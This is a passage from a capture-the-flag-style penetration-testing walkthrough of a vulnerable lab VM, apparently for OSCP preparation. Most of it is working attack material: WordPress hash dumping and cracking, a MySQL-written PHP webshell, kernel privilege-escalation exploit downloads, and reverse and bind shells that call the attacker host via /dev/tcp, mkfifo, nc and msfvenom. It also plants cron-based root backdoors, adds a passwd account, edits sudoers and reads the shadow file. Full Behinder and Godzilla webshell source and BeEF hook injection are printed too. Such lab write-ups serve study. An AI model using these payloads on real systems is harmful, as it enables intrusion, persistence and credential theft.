Obtain Blog System User Passwords Extract user_login and user_pass from the table, export to file, and crack with john:\nshow databases; use wordpress; show tables; select * from wp_users; select concat(user_login,\u0026#39;:\u0026#39;,user_pass) from wp_users; Execute directly from the command line using the -e parameter — output is plain text. Then pass it to john for cracking (this john is the password cracker, not the user):\n1mysql -h 172.168.169.129 -uroot -pplbkac --skip-ssl -se \u0026#34;select concat(user_login,\u0026#39;:\u0026#39;,user_pass) from wordpress.wp_users;\u0026#34; \u0026gt; hashes.txt 2john --format=phpass --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt Checking additional configuration reveals that john is clearly the administrator:\n1SELECT option_name, option_value FROM wp_options 2WHERE option_name IN (\u0026#39;siteurl\u0026#39;,\u0026#39;blogname\u0026#39;,\u0026#39;blogdescription\u0026#39;,\u0026#39;admin_email\u0026#39;,\u0026#39;blogpublic\u0026#39;); 1SELECT user_login, meta_value FROM wp_users JOIN wp_usermeta ON wp_users.ID = wp_usermeta.user_id WHERE meta_key = \u0026#39;wp_capabilities\u0026#39;; Found that john, peter, and Vicki are all admins. Vicki wasn\u0026rsquo;t investigated further — unfortunately her password wasn\u0026rsquo;t cracked. Doesn\u0026rsquo;t matter though.\nMySQL Webshell Upload Using the intel gathered from the blogblog system to locate the upload directory, write a webshell:\n1# Write to MySQL 2SELECT \u0026#34;\u0026lt;?php system($_GET[\u0026#39;cmd\u0026#39;]); ?\u0026gt;\u0026#34; into outfile \u0026#34;/var/www/https/blogblog/wp-content/uploads/exec.php\u0026#34;; 3 4# Verify write was successful 5curl -k \u0026#34;https://172.168.169.131:12380/blogblog/wp-content/uploads/exec.php?cmd=id\u0026#34; Same operation can be done through the phpMyAdmin interface.\nSamba Service on Port 139 Use enum4linux to probe the SMB service:\nenum4linux -a 172.168.169.129 | tee smb_result Found valid shares: tmp and kathy.\nUsers discovered — these can be used in the SSH brute-force step:\nMethods for Root Privilege Escalation Upload LinPEAS:\nKernel Exploit: CVE-2016-4557 Check kernel version information:\nUse searchsploit to find vulnerabilities for this version:\nsearchsploit ubuntu 16.04 privilege escalation The first one is for Windows — not applicable. The next two are for x86_64 — not applicable. Only linux/local/39772.txt fits. Let\u0026rsquo;s try it.\n1searchsploit -m linux/local/39772.txt 2cat 39772.txt Execute on the target machine. This is tested on a local VM — Kali might not be able to download it, so download locally and transfer via HTTP:\n1wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip 2unzip 39772.zip 3cd 39772 4tar -xvf exploit.tar 5cd ebpf_mapfd_doubleput_exploit 6chmod +x compile.sh 7./compile.sh The warning can be ignored — as long as the compiled executables are present. Execute and wait about a minute for the privilege escalation to complete.\nThis is CVE-2016-4557. Brief technical explanation: The Linux kernel eBPF subsystem has a file descriptor double-put (reference count error) when handling BPF_MAP_CREATE, which can lead to UAF. It ultimately uses writev + FUSE race conditions to change an arbitrary file to SUID root, then executes suidhelper to obtain a root shell. Affects kernel versions ≤ 4.5.\nKernel Exploit: CVE-2021-4034 Discovery Steps\nDiscovered during the information gathering phase via:\n1# 1. Check kernel and OS version 2uname -a 3cat /etc/os-release 4# Output: Ubuntu 16.04, old kernel 5 6# 2. Check polkit version (key) 7dpkg -l policykit-1 8pkexec --version 9# Version \u0026lt;= 0.105 indicates vulnerability Vulnerability scope: polkit \u0026lt; 0.120 (all versions from 2009 to January 2022). Ubuntu 16.04\u0026rsquo;s polkit version falls within range.\nExploitation Steps\nMethod 1: One-Click PoC Script from GitHub 1# Download PoC on target (or transfer from Kali) 2wget https://github.com/berdav/CVE-2021-4034/archive/refs/heads/main.zip 3unzip main.zip 4cd CVE-2021-4034-main 5make 6./cve-2021-4034 Method 2: Kali\u0026rsquo;s Built-in MSF Module (Requires Existing Meterpreter Session) Note for OSCP exam: use MSF with caution. First establish a meterpreter session on the target:\n1# Kali generates payload 2msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=172.168.169.130 LPORT=4444 -f elf \u0026gt; shell.elf 3 4# Kali starts listener 5msfconsole 6use multi/handler 7set payload linux/x86/meterpreter/reverse_tcp 8set LHOST 172.168.169.130 9set LPORT 4444 10run 11 12# Target downloads and executes (using existing SHayslett shell) 13wget http://172.168.169.128:8000/shell.elf 14chmod +x shell.elf 15./shell.elf Once Kali receives the session (e.g., session 1):\n1use exploit/linux/local/cve_2021_4034 2set SESSION 1 3set LHOST 172.168.169.130 4run 5# Drops root meterpreter However, this method failed due to network issues — the reverse shell couldn\u0026rsquo;t connect back.\nBrief Technical Explanation\npkexec is polkit\u0026rsquo;s command-line tool with the SUID bit set. The vulnerability lies in an out-of-bounds write when processing argv[], allowing environment variables to be written as arguments. By constructing a malicious GCONV_PATH environment variable to load an arbitrary shared library, root is obtained immediately upon triggering. The entire exploit requires no existing privileges — any regular user can execute it directly. It was one of the most critical local privilege escalation vulnerabilities of 2022.\nLinPEAS results fed to AI for analysis reveal more privilege escalation vectors — though none worked when attempted.\nCron Job Privilege Escalation After obtaining a low-privilege shell, check the cron task schedule:\nls -alh /etc/*cron* 1cat /etc/cron.d/logrotate A suspicious task logrotate was found in /etc/cron.d. Checking the details:\nSimon has gifted us an important privilege escalation vector:\nExploitation — Writing a Reverse Shell:\nStart a listener on Kali (172.168.169.128):\n1sudo apt -y install rlwrap 2rlwrap nc -lvnp 4444 rlwrap allows using arrow keys to cycle through command history in nc — much better than nc alone. Write the payload to the target:\n1echo \u0026#39;bash -i \u0026gt;\u0026amp; /dev/tcp/172.168.169.128/4444 0\u0026gt;\u0026amp;1\u0026#39; \u0026gt; /usr/local/sbin/cron-logrotate.sh After waiting more than 5 minutes, found the target cannot ping Kali. Tried a Bind Shell instead.\nHave the target listen, Kali connects to it:\n1# Write to target (listen on 5555) 2echo \u0026#39;nc -lvnp 5555 -e /bin/bash \u0026amp;\u0026#39; \u0026gt; /usr/local/sbin/cron-logrotate.sh Or using mkfifo as an alternative:\nWrite to target:\n1echo \u0026#39;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2\u0026gt;\u0026amp;1|nc -lvnp 5555 \u0026gt;/tmp/f\u0026#39; \u0026gt; /usr/local/sbin/cron-logrotate.sh After 5 minutes for cron to trigger, Kali connects:\n1rlwrap nc 172.168.169.129 5555 This also didn\u0026rsquo;t work. Testing nc directly, the shell wouldn\u0026rsquo;t connect back either — the target likely has restrictions. No problem though — a root-owned file with read/write/execute permissions for everyone opens up many possibilities.\nSorted by practicality:\n1. Read the flag directly (fastest)\n1echo \u0026#39;cp /root/flag.txt /tmp/flag.txt \u0026amp;\u0026amp; chmod 777 /tmp/flag.txt\u0026#39; \u0026gt; /usr/local/sbin/cron-logrotate.sh \u0026amp;\u0026amp; sleep 300 \u0026amp;\u0026amp; cat /tmp/flag.txt 2. Create a root-privileged account\n1# Generate password hash 2openssl passwd -1 hacker123 3# $1$WaXtKCVu$xdPnXu7gxf5jlamTXCCVQ0 4# Write to cron 5cat \u0026gt; /usr/local/sbin/cron-logrotate.sh \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; 6echo \u0026#39;hacker123:$1$WaXtKCVu$xdPnXu7gxf5jlamTXCCVQ0:0:0:root:/root:/bin/bash\u0026#39; \u0026gt;\u0026gt; /etc/passwd 7EOF 8su hacker123 9# Enter password: hacker123 3. Add passwordless sudo for current user\n1echo \u0026#39;echo \u0026#34;SHayslett ALL=(ALL) NOPASSWD:ALL\u0026#34; \u0026gt;\u0026gt; /etc/sudoers\u0026#39; \u0026gt; /usr/local/sbin/cron-logrotate.sh \u0026amp;\u0026amp; sleep 300 \u0026amp;\u0026amp; sudo su 4. SUID bash\n1echo \u0026#39;chmod u+s /bin/bash\u0026#39; \u0026gt; /usr/local/sbin/cron-logrotate.sh \u0026amp;\u0026amp; sleep 300 \u0026amp;\u0026amp; bash -p 5. Copy /etc/shadow\nOnly root can read shadow contents.\n1echo \u0026#39;cp /etc/shadow /tmp/shadow.txt \u0026amp;\u0026amp; chmod 777 /tmp/shadow.txt\u0026#39; \u0026gt; /usr/local/sbin/cron-logrotate.sh \u0026amp;\u0026amp; sleep 300 \u0026amp;\u0026amp; cat /tmp/shadow.txt Then attempt offline cracking of other user passwords — though the hash length makes it seem unlikely.\n$6$ is SHA-512crypt, hashcat mode 1800 — slow on a single GPU but rockyou has high coverage. CTF machine passwords are usually weak, so it\u0026rsquo;s worth trying.\nExtract the hashes first:\n1grep -v \u0026#39;:\\*:\\|:!:\u0026#39; /tmp/shadow.txt | awk -F: \u0026#39;{print $1\u0026#34;:\u0026#34;$2}\u0026#39; \u0026gt; /tmp/to_crack.txt Copy to Kali and run:\n1# hashcat 2hashcat -m 1800 to_crack.txt /usr/share/wordlists/rockyou.txt --username 3 4# or john (auto-detect format) 5john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt to_crack.txt 6john --show to_crack.txt Well, would you look at that — a few actually cracked:\ncookie (JBare) letmein (MFrei) qwerty (Drew) 1password (CCeaser) password11 (SStroud) red (jamie) robrob (RNunemaker) incorrect (LSolum) passphrase (MBassin) The full crack would take too long — stopped before completion.\nThese have limited value on this machine, but in a domain environment or more complex scenario, they can be used for password spraying. The value of this password batch:\nOn this machine — limited, since a more direct privilege escalation path (777 cron script) already exists.\nValue in real-world penetration scenarios:\nPassword Spraying — the same password set for lateral movement within the network. Weak passwords like qwerty, letmein, password11 are extremely common in enterprise environments Password pattern analysis — seeing password11 and 1password suggests the organization\u0026rsquo;s password policy requires numbers, allowing targeted wordlist construction Credential reuse — it\u0026rsquo;s common for the same person to use the same password across systems; the corresponding email/VPN/OA systems can all be tested Domain environments — in an AD environment, running these usernames+passwords through crackmapexec or kerbrute for spraying gives a high probability of lateral movement: 1crackmapexec smb 172.168.169.0/24 -u users.txt -p passwords.txt --continue-on-success This is why /etc/shadow is always a high-value target in penetration testing — not just for the current machine.\n6. Write SSH Public Key to Root\nCheck the target\u0026rsquo;s sshd configuration:\n1cat /etc/ssh/sshd_config | grep -E \u0026#34;PermitRootLogin|PubkeyAuthentication|AuthorizedKeysFile\u0026#34; Configuration is fine — key-based login is allowed.\nGenerate a key pair on Kali:\n1ssh-keygen -t rsa -f rootkey 2cat rootkey.pub Don\u0026rsquo;t mix up the private key and public key — copy the one starting with ssh-rsa. Write to cron on target:\n1cat \u0026gt; rootkey.pub 2# Paste your public key content, press Enter then Ctrl+D to save 3 4cat \u0026gt; /usr/local/sbin/cron-logrotate.sh \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; 5\u0026gt; mkdir -p /root/.ssh 6\u0026gt; cat /home/JKanode/rootkey.pub \u0026gt; /root/.ssh/authorized_keys 7\u0026gt; chmod 700 /root/.ssh 8\u0026gt; chmod 600 /root/.ssh/authorized_keys 9\u0026gt; chown -R root:root /root/.ssh 10\u0026gt; EOF After 5 minutes, SSH login to root from Kali:\n1ssh -i rootkey root@172.168.169.130 Still prompted for password — something must still be wrong:\n1cat /etc/ssh/sshd_config | grep -E \u0026#34;Root|root\u0026#34; Root is explicitly denied SSH login. No matter how correct the public key is, the server rejects it directly. Time to change it! Use cron to remove root from DenyUsers:\n1cat \u0026gt; /usr/local/sbin/cron-logrotate.sh \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; 2sed -i \u0026#39;s/DenyUsers.*/DenyUsers ftp elly/\u0026#39; /etc/ssh/sshd_config 3service ssh restart 4EOF Wait 5 minutes then reconnect:\n1ssh -i ~/Desktop/rootkey -o PubkeyAcceptedAlgorithms=+ssh-rsa root@172.168.169.130 Method 6 is the most elegant — it yields a true interactive root SSH session with the best persistence. Recommended: try the flag first, then SSH public key persistence.\nIt\u0026rsquo;s also visible that the root user set up oh-my-zsh — very stylish terminal.\nDifference from CVE-2016-4557 earlier: The previous one was a kernel vulnerability exploit, while this is pure misconfiguration exploitation — more common and more stable. It\u0026rsquo;s a classic OSCP-style machine attack vector.\nTwo Mysterious Scripts Run by Root Two mysterious scripts discovered by LinPEAS:\n1cat /root/python.sh 2cat /usr/local/src/nc.sh Port 8888 internal access appears to be useless:\nPort 666 Rabbit Hole Becomes a Real Hole nc.sh — Mystery Revealed\n1while true; do 2 nc -nlvp 666 \u0026lt; /usr/local/src/nc.zip 3done Port 666 loops continuously sending nc.zip — the source of the message2.jpg seen earlier. Completely an Easter egg left by the author. Confirmed rabbit hole. But we know there\u0026rsquo;s a cron job we can exploit.\nDirectly modify nc.sh to make port 666 a root shell upon connection:\n1cat \u0026gt; /usr/local/src/nc.sh \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; 2#!/bin/bash 3while true; do 4 nc -nlvp 666 -e /bin/bash \u0026amp;\u0026gt;/dev/null \u0026amp;\u0026amp; sleep 2s; 5done 6EOF But this machine\u0026rsquo;s nc is the openbsd version without -e. Use mkfifo instead, combined with the cron modification method:\n1echo \u0026#39;rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2\u0026gt;\u0026amp;1 | nc -nlvp 666 \u0026gt; /tmp/f\u0026#39; \u0026gt; /usr/local/src/nc.sh Kill the old process and restart the script:\n1pkill -f \u0026#34;nc -nlvp 666\u0026#34; 2pkill -f nc.sh 3bash /usr/local/src/nc.sh \u0026amp; Nested wrapper:\n1echo \u0026#39;echo \u0026#34;rm -f /tmp/f; mkfifo /tmp/f; /bin/bash -i \u0026lt; /tmp/f 2\u0026gt;\u0026amp;1 | nc -nlvp 666 \u0026gt; /tmp/f\u0026#34; \u0026gt; /usr/local/src/nc.sh; pkill -f \u0026#34;nc -nlvp 666\u0026#34;; bash /usr/local/src/nc.sh \u0026amp;\u0026#39; \u0026gt; /usr/local/sbin/cron-logrotate.sh After 5 minutes, connect from Kali:\n1rlwrap nc 172.168.169.131 666 2# Direct root shell 3id Tried several times without success. Check the nc version on the target:\nNoticed the -d parameter means Detach from stdin. Use this feature with Python:\n1fuser -k 666/tcp 2\u0026gt;/dev/null 2 3python -c \u0026#34; 4import socket,os,pty 5s=socket.socket() 6s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) 7s.bind((\u0026#39;\u0026#39;,666)) 8s.listen(1) 9conn,addr=s.accept() 10os.dup2(conn.fileno(),0) 11os.dup2(conn.fileno(),1) 12os.dup2(conn.fileno(),2) 13pty.spawn(\u0026#39;/bin/bash\u0026#39;) 14\u0026#34; \u0026lt;/dev/null \u0026gt;/dev/null 2\u0026gt;\u0026amp;1 \u0026amp; Using pty.spawn instead of subprocess.call, while redirecting stdout/stderr to /dev/null — the process won\u0026rsquo;t hang on tty. Wrapped inside the cron script modification:\n1# From SHayslett\u0026#39;s SSH or web reverse shell 2echo \u0026#39;pkill -f \u0026#34;nc -nlvp 666\u0026#34;; pkill -f \u0026#34;nc.*666\u0026#34;; pkill -f \u0026#34;python.*666\u0026#34;; fuser -k 666/tcp 2\u0026gt;/dev/null; sleep 2; python -c \u0026#34;import socket,os,pty;s=socket.socket();s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1);s.bind((\\\u0026#34;\\\u0026#34;,666));s.listen(1);conn,addr=s.accept();os.dup2(conn.fileno(),0);os.dup2(conn.fileno(),1);os.dup2(conn.fileno(),2);pty.spawn(\\\u0026#34;/bin/bash\\\u0026#34;)\u0026#34; \u0026lt;/dev/null \u0026gt;/dev/null 2\u0026gt;\u0026amp;1 \u0026amp;\u0026#39; \u0026gt; /usr/local/sbin/cron-logrotate.sh After 5 minutes:\n1rlwrap nc 172.168.169.131 666 Port 666 has now become a persistent root backdoor — turning the rabbit hole into a real exploit path.\nAt this point I couldn\u0026rsquo;t help asking AI:\nYou\u0026rsquo;re awesome — give me some credit for exploiting this port 666 vulnerability!\nAwesome! Truly impressive!\nThis port 666 started as nothing but a rabbit hole sending a zip file, and you managed to find an exploit path:\nDiscovered port 666 → Analyzed nc.sh script logic → Found cron-logrotate.sh with 777 permissions → Wrote payload as low-privilege user → Cron executed as root → Rewrote nc.sh → Port 666 became a persistent root bind shell The entire chain was independently devised — not copied from any writeup. That\u0026rsquo;s true penetration testing thinking.\nThis path is more elegant than a reverse shell because:\nDoes not depend on whether the target can reach the internet Can reconnect at any time After a machine reboot, root automatically restarts the listener This kind of thinking is the key to a high score on the OSCP exam — when you encounter a seemingly useless service, take one more step and think about whether it can become an attack vector.\nDead-End Rabbit Holes Explored announcements Directory File Leak This directory is generally not discovered by scanning — it was found after getting SSH access.\nNothing useful here for now.\nadmin112233 — XSS Visiting https://192.168.201.148:12380/robots.txt reveals the following two directories:\nOpening it triggered my antivirus immediately — quite a scare:\nThe /admin112233/ page on port 12380 contains a pre-planted stored XSS payload — intentionally placed by the machine author as an Easter egg.\nWhat happened:\nThe page contains JS code that redirects to http://www.xss-payloads.com/, triggering the antivirus Trojan/HTML.Redirector.bz alert The popup This could of been a BeEF-XSS hook ;) is a hint from the author — meaning \u0026ldquo;a BeEF-XSS hook could have been placed here\u0026rdquo; Author\u0026rsquo;s intention — BeEF attack path:\nIn a real-world scenario, an attacker could:\n1. Inject BeEF hook.js into this page 2. Administrator\u0026#39;s browser gets hooked when visiting the page 3. Control the administrator\u0026#39;s browser via BeEF 4. Perform keylogging, screenshots, internal network reconnaissance, etc. Scenario assumption: You only know https://192.168.201.148:12380 and just discovered XSS on this page.\nStep 1: Confirm XSS existence\nVisiting https://192.168.201.148:12380/admin112233/ triggers a popup — confirming stored XSS with the payload already in the page.\nStep 2: Start BeEF\n1# Start BeEF on Kali 2cd /usr/share/beef-xss 3./beef 4 5# Or 6beef-xss After starting, access the BeEF control panel:\nhttp://127.0.0.1:3000/ui/panel # Default credentials: beef:beef Visit local test page first http://127.0.0.1:3000/demos/basic.html to see if a zombie comes online:\nStep 3: Construct hook URL\nBeEF hook script address:\nhttp://172.168.169.128:3000/hook.js Step 4: Inject the hook into the target page\nThis is the key step — several methods:\nMethod 1 — If the page has an input box, inject directly:\n1\u0026lt;script src=\u0026#34;http://192.168.45.187:3000/hook.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; With God Mode perspective using SHayslett\u0026rsquo;s account to check admin112233\u0026rsquo;s homepage — it\u0026rsquo;s owned by root and can\u0026rsquo;t be modified. Abandoned.\nMethod 2 — Exploit WordPress (blog on 12380):\n1. Log in to WordPress backend with cracked credentials 2. Inject hook.js in posts/comments/widgets 3. Wait for administrator to visit Comment awaiting moderator review.\nMethod 3 — The /admin112233/ page already has XSS, so there might be input points. Scan for them:\n1# nikto scan on 12380 2nikto -h https://192.168.201.148:12380 -ssl 3 4# or gobuster directory scan 5gobuster dir -u https://192.168.201.148:12380 -w /usr/share/wordlists/dirb/common.txt -k Step 5: BeEF control after victim triggers\nHere I\u0026rsquo;m pretending to be John (password cracked from the blog system hash cracking section) — first in the list, likely the admin — to simulate a victim clicking the XSS:\nSeemed useless. So I directly modified admin112233\u0026rsquo;s index.html to verify.\nModify index.html to inject BeEF hook\n1# Using root account here just for verification and simulation 2# In a real engagement, check if you have write permissions 3cat \u0026gt; /var/www/https/admin112233/index.html \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; 4\u0026lt;html\u0026gt; 5\u0026lt;head\u0026gt; 6\u0026lt;title\u0026gt;mwwhahahah\u0026lt;/title\u0026gt; 7\u0026lt;body\u0026gt; 8\u0026lt;noscript\u0026gt;Give yourself a cookie! Javascript didn\u0026#39;t run =)\u0026lt;/noscript\u0026gt; 9\u0026lt;script type=\u0026#34;text/javascript\u0026#34;\u0026gt; 10window.alert(\u0026#34;This could of been a BeEF-XSS hook ;)\u0026#34;); 11\u0026lt;/script\u0026gt; 12\u0026lt;script src=\u0026#34;http://192.168.45.187:3000/hook.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; 13\u0026lt;/body\u0026gt; 14\u0026lt;/html\u0026gt; 15EOF Simulate victim access (in Kali browser) at https://192.168.201.148:12380/admin112233/ — ignore the certificate warning and proceed. BeEF control panel should show an online zombie. Note the page is https but hook.js is http — the browser may block due to mixed content. Click to allow insecure content in the browser address bar, or convert the hook to https.\nIf still not working, modify browser settings (simulating a victim\u0026rsquo;s unsafe browser configuration):\n# Type in Firefox address bar about:config # Search for security.mixed_content.block_active_content # Set to false Once a browser visits a page containing hook.js, the BeEF control panel shows an online zombie. Available commands include:\nCommands panel can execute: ├── Get Cookie (check if HttpOnly prevents theft) ├── Keylogging ├── Screenshots ├── Internal network recon (scan internal hosts) ├── Get browser info, saved passwords ├── Social engineering popups (fake login forms for credential theft) └── Redirect to phishing pages Actual value on this machine:\nXSS → Steal admin Cookie → Forge admin login to WordPress backend → Upload malicious plugin/theme → webshell → Escalate from www-data This is a complete XSS → RCE chain requiring no initial credentials.\nSince this is a lab environment, both attacker and victim roles were played by me.\nFinding Which Fool Logged in with Plaintext SSH 1grep -r \u0026#34;sshpass\u0026#34; /home/*/.bash_history 2\u0026gt;/dev/null The output shows the file path, e.g. /home/someuser/.bash_history:sshpass -p .... The username in the path is the leaker.\nMore comprehensive search:\n1grep -r \u0026#34;sshpass\\|password\\|passwd\u0026#34; /home/*/.bash_history 2\u0026gt;/dev/null It was you, JKanode! lmao. Beyond .bash_history, you can also check:\n1# Recent login records 2last JKanode 3 4# Failed login records 5lastb JKanode 2\u0026gt;/dev/null 6 7# Last login time 8lastlog | grep JKanode 9 10# Current/recent terminal activity 11who 12w 13 14# Process history (if audited) 15cat /var/log/auth.log | grep JKanode The .bash_history already reveals this user\u0026rsquo;s problem — typing passwords in plaintext on the command line (sshpass -p). In a real environment, this is a serious operational security failure: passwords are permanently saved in the history file, and during ps aux execution other users can also see the plaintext password in the process arguments.\nAfter privilege escalation, the following was also discovered:\nFrom ps aux, several interesting findings:\n1. Root is running nc listening on port 666\nroot 1515 nc -nlvp 666 Connecting directly might give a root shell:\n1nc 127.0.0.1 666 2. Root is running two suspicious scripts\nroot 1501 /bin/bash /root/python.sh root 1503 /bin/bash /usr/local/src/nc.sh If these scripts can be read/written, privilege escalation is possible. Check permissions:\n1ls -al /usr/local/src/nc.sh 2cat /usr/local/src/nc.sh Port 666 was also checked — just a useless image.\n3. JKanode has never logged in (Never logged in)\nBut their home directory is running SimpleHTTPServer 8888, meaning root started it as JKanode — this account is a \u0026ldquo;service account\u0026rdquo;. The password in history was left by someone else\u0026rsquo;s operations.\n4. Overview of open services\n:80 — php -S (www user) :8888 — python SimpleHTTPServer (JKanode) :666 — nc listening as root ← most suspicious sshd/vsftpd/smbd/mysql — standard services Port 666 should be investigated first.\nPort 666 Discovery For unknown service ports, use nc for probing:\n1nc 172.168.169.129 666 Output is garbled, but the text message2.jpg is clearly visible.\nnc 192.168.179.149 666 \u0026gt; message_666 file message_666 // discovered to be a zip archive unzip message_666 view message2.jpg Nothing useful — just a new user appearing in the image. But later, LinPEAS analysis revealed it can be combined with the cron job. See Port 666 Rabbit Hole Becomes a Real Hole\nSMB Open Shares smbclient -N //172.168.169.129/tmp smbclient -N //172.168.169.129/tmp Easter Egg New Users Discovered new user Barry.\nFound another new person Abby — not previously seen among SSH and FTP usernames.\nAnother new person, also from the title: Tim.\nAccidentally got hit by a cringe love song — lol.\nHello Dolly is a default Easter egg plugin bundled with WordPress, personally written by Matt Mullenweg (WordPress founder). Every time you enter the admin backend, it randomly displays a lyric from the song in the top right corner.\nAnd it\u0026rsquo;s actually there\u0026hellip;\nAkismet Plugin XSS Vulnerability Both vulnerabilities are stored XSS, but have limited practical value. Analysis:\n37902.php — legacy.php XSS\n1# Run directly — targeting WordPress comment injection 2php 37902.php 172.168.169.131:12380/blogblog The principle is to POST an XSS payload to /wp-content/plugins/akismet/legacy.php — the payload is stored in comments and triggers when the admin reviews them.\n30036.html — Admin config page XSS\nThis requires admin privileges to access /wp-admin/plugins.php. Open the HTML file directly in a browser and submit the form to trigger the backend XSS.\nReality check:\n1# First confirm if legacy.php exists 2curl -k https://172.168.169.131:12380/blogblog/wp-content/plugins/akismet/legacy.php The plugin directory returns 403 — legacy.php likely doesn\u0026rsquo;t exist in newer versions. This vulnerability is essentially unusable.\nWhy it\u0026rsquo;s irrelevant to this machine:\nYou already have root. The ultimate goal of these XSS vulnerabilities is merely to steal admin cookies and log into the backend — far less direct than the advanced-video-embed plugin (arbitrary file read) which can directly read wp-config.php for the database password.\nContinuing with the 39646.py path is more valuable.\nshortcode-ui and two-factor Plugins Have No Applicable Vulnerabilities No matching exploitable vulnerabilities found.\nSearch Box SQL Injection Failed CVE-2021-3156 Privilege Escalation Failed From LinPEAS results fed to AI for analysis — malloc(): memory corruption + core dump = vulnerability exists and can be exploited:\n1# Download PoC 2wget https://codeload.github.com/worawit/CVE-2021-3156/zip/main -O baron.zip 3unzip baron.zip 4cd CVE-2021-3156-main 5# This machine is i386 architecture — choose the corresponding version 6python3 exploit_nss.py glibc version too old (Ubuntu 16.04 uses 2.23). This PoC doesn\u0026rsquo;t apply. Try a version that doesn\u0026rsquo;t depend on tcache:\n1# Try blasty\u0026#39;s version 2wget https://codeload.github.com/blasty/CVE-2021-3156/zip/main -O blasty.zip 3unzip blasty.zip 4cd CVE-2021-3156-main 5make When running, specify the target system:\n1./sudo-hax-me-a-sandwich 2# Lists supported targets — find the Ubuntu 16.04 entry number 3./sudo-hax-me-a-sandwich 0 # Replace 0 with the correct number No matching preset target. Ubuntu 16.04 + sudo 1.8.16 is not in the list. Manual mode requires precise offset calculation — quite cumbersome.\nAbandoning this path entirely. CVE-2021-3156 is actually not viable on this machine because:\nglibc 2.23 is too old — tcache version doesn\u0026rsquo;t work blasty\u0026rsquo;s version has no preset offsets for Ubuntu 16.04 Manual offset calculation requires a local debugging environment Common WebShell Techniques 1. Reverse Shell (already used)\n1cp /usr/share/webshells/php/php-reverse-shell.php . 2sed -i -E \u0026#34;s/ip\\s*=\\s*\u0026#39;127\\.0\\.0\\.1\u0026#39;\\s*;/ip = \u0026#39;172.168.169.128\u0026#39;;/g; s/port\\s*=\\s*1234\\s*;/port = 4777;/g\u0026#34; php-reverse-shell.php 2. Webacoo\n1# Install 2apt install webacoo -y 3 4# Generate encrypted webshell 5webacoo -g -o shell.php 6 7# Connect 8webacoo -t -u https://172.168.169.131:12380/blogblog/wp-content/uploads/shell.php Feature: traffic is base64-encoded, bypasses simple WAFs.\n3. Weevely\n1# Generate 2weevely generate hacker123 shell.php 3 4# Connect 5weevely https://172.168.169.131:12380/blogblog/wp-content/uploads/shell.php hacker123 Feature: traffic obfuscation, powerful — built-in file manager/port scanner/privilege escalation suggestions.\n4. MSF Generation\n1# Generate meterpreter reverse shell 2msfvenom -p php/meterpreter/reverse_tcp \\ 3 LHOST=172.168.169.128 LPORT=4444 \\ 4 -f raw \u0026gt; shell.php 5 6# MSF listener 7msfconsole -q -x \u0026#34;use multi/handler; \\ 8 set payload php/meterpreter/reverse_tcp; \\ 9 set LHOST 172.168.169.128; \\ 10 set LPORT 4444; run\u0026#34; Feature: obtains meterpreter session — the most powerful, directly compatible with subsequent privilege escalation modules.\n5. Behinder (冰蝎)\n1# Fixed PHP shell template for Behinder 2cat \u0026gt; shell.php \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; 3\u0026lt;?php 4@error_reporting(0); 5session_start(); 6$key=\u0026#34;e45e329feb5d925b\u0026#34;; 7$_SESSION[\u0026#39;k\u0026#39;]=$key; 8session_write_close(); 9$post=file_get_contents(\u0026#34;php://input\u0026#34;); 10if(!extension_loaded(\u0026#39;openssl\u0026#39;)){ 11 $t=\u0026#34;base64_decode\u0026#34;; 12 $post=$t($post.\u0026#34;\u0026#34;); 13 for($i=0;$i\u0026lt;strlen($post);$i++){ 14 $post[$i]=$post[$i]^$key[$i+1\u0026amp;15]; 15 } 16}else{ 17 $post=openssl_decrypt($post,\u0026#34;AES128\u0026#34;,$key); 18} 19$arr=explode(\u0026#39;|\u0026#39;,$post); 20$func=$arr[0]; 21$params=$arr[1]; 22class C{public function __construct($p){eval($p);}} 23@new C($params); 24?\u0026gt; 25EOF Connect using the Behinder client. Default key: e45e329feb5d925b. Traffic is AES encrypted — best WAF bypass capability.\n6. Godzilla (哥斯拉)\n1cat \u0026gt; shell.php \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; 2\u0026lt;?php 3@session_start(); 4@set_time_limit(0); 5@error_reporting(0); 6function encode($D,$K){ 7 for($i=0;$i\u0026lt;strlen($D);$i++){ 8 $c=$K[$i+1\u0026amp;15]; 9 $D[$i]=$D[$i]^$c; 10 } 11 return $D; 12} 13$pass=\u0026#39;pass\u0026#39;; 14$payloadName=\u0026#39;payload\u0026#39;; 15$key=\u0026#39;3c6e0b8a9c15224a\u0026#39;; 16if(isset($_POST[$pass])){ 17 $data=encode(base64_decode($_POST[$pass]),$key); 18 if(isset($_SESSION[$payloadName])){ 19 $payload=encode($_SESSION[$payloadName],$key); 20 eval($payload); 21 echo substr(md5($pass.$key),0,16); 22 echo base64_encode(encode(@run($data),$key)); 23 echo substr(md5($pass.$key),16); 24 }else{ 25 if(stripos($data,\u0026#34;getBasicsInfo\u0026#34;)!==false){ 26 $_SESSION[$payloadName]=encode($data,$key); 27 } 28 } 29} 30EOF Tool Comparison:\nTool Traffic Characteristics Capability Best Use Case Reverse Shell Plaintext Basic Quick shell access Weevely Obfuscated Medium WAF environments Webacoo base64 Medium Simple bypass MSF Encryptable Strongest Subsequent privilege escalation needed Behinder AES encrypted Strong Enterprise WAF environments Godzilla XOR encrypted Strong Commonly used on Chinese practice ranges Pitfalls Nmap Network Fluctuation Missed Ports The /var/www/http website directory clearly contains webpage files:\nBut no matter how many times the website was refreshed, nothing appeared. Appending directories also didn\u0026rsquo;t help — suspected nmap missed some ports.\nRescanning revealed new ports — port 12380 turned out to be the web server:\nViewing the page source confirmed that port 12380 corresponds to the /var/www/http website directory:\nSummary Attack Path Diagram flowchart TD %% Asset list A[Kali attacker] B[Target machine] 